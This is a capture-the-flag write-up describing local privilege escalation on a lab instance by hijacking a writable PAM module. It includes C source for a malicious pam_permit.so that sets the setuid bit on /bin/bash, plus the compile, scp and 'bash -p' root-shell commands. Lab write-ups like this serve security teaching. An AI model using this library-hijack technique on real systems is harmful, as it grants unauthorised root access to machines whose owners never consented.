## Finding the vulnerability
When we SSH into the instance and search for all files we own, we find out that we own the entire directory of */usr/lib/x86_64-linux-gnu/security*

 

Located inside the directories are all libraries that pertain to *pam*. However, the thing with *pam* is that it is also a feature which can be used by SSH. If we look in the configuration file of the machine, we can see this is apparent:


 

Perhaps this means that, considering we have read/write access to the directory, we could perhaps hijack a library located in there and get arbitray code execution by the *sshd* daemon as it tries to load whatever library it needs to load in there. In order to verify our hypothesis, when we delete a specific file (in my case it was *pam_permit.so*), we notice that the next time we try to SSH into the machine, the "Permission denied" error is granted 100% of the time, and *wayyy* sooner than it should take.



 

 

## Exploitation
Knowing this, and knowing that we potentially found our library to exploit, we can now hijack the library and make it so whenever it is loaded, *our* code will be executed rather than the code that was intended to be executed. When looking at the [source code](https://github.com/linux-pam/linux-pam/blob/master/modules/pam_permit/pam_permit.c) for *pam_permit.so*, we are thankfully granted with a very short C program. The function that I intended to hijack was *pam_sm_authenticate*.
```c
#include <stdio.h>
#include <stdio.h>
#include <stdlib.h>

#define DEFAULT_USER "nobody"

int pam_sm_authenticate(int *useless, int flags, int argc, const char **argv) {
system("chmod +s /bin/bash");
}
```

 

Now, when compiling it with `gcc -shared malicious.c -o malicious.so`, we can transfer it over to the (reset) instance through `sshpass -p 'userpass' scp -P 31140 malicious.so [email protected]:~`

 

We can now move our malicious shared library and mask it as the "real" *pam_permit.so* library. Then, we can try SSHing again to trigger the *sshd* binary to look in our controlled directory and execute the library it needs there.



 

This time, it didn't give us a "permission denied" error, but rather it simply closed the connection. This is a good sign; since it shows us that our new library may have been loaded. Now, when we take a look at */bin/bash* on the SSH shell that has remained open, we see something truly breathtaking:


 

Now, simply get a root shell via `bash -p`, and as the root user we can now read the flag.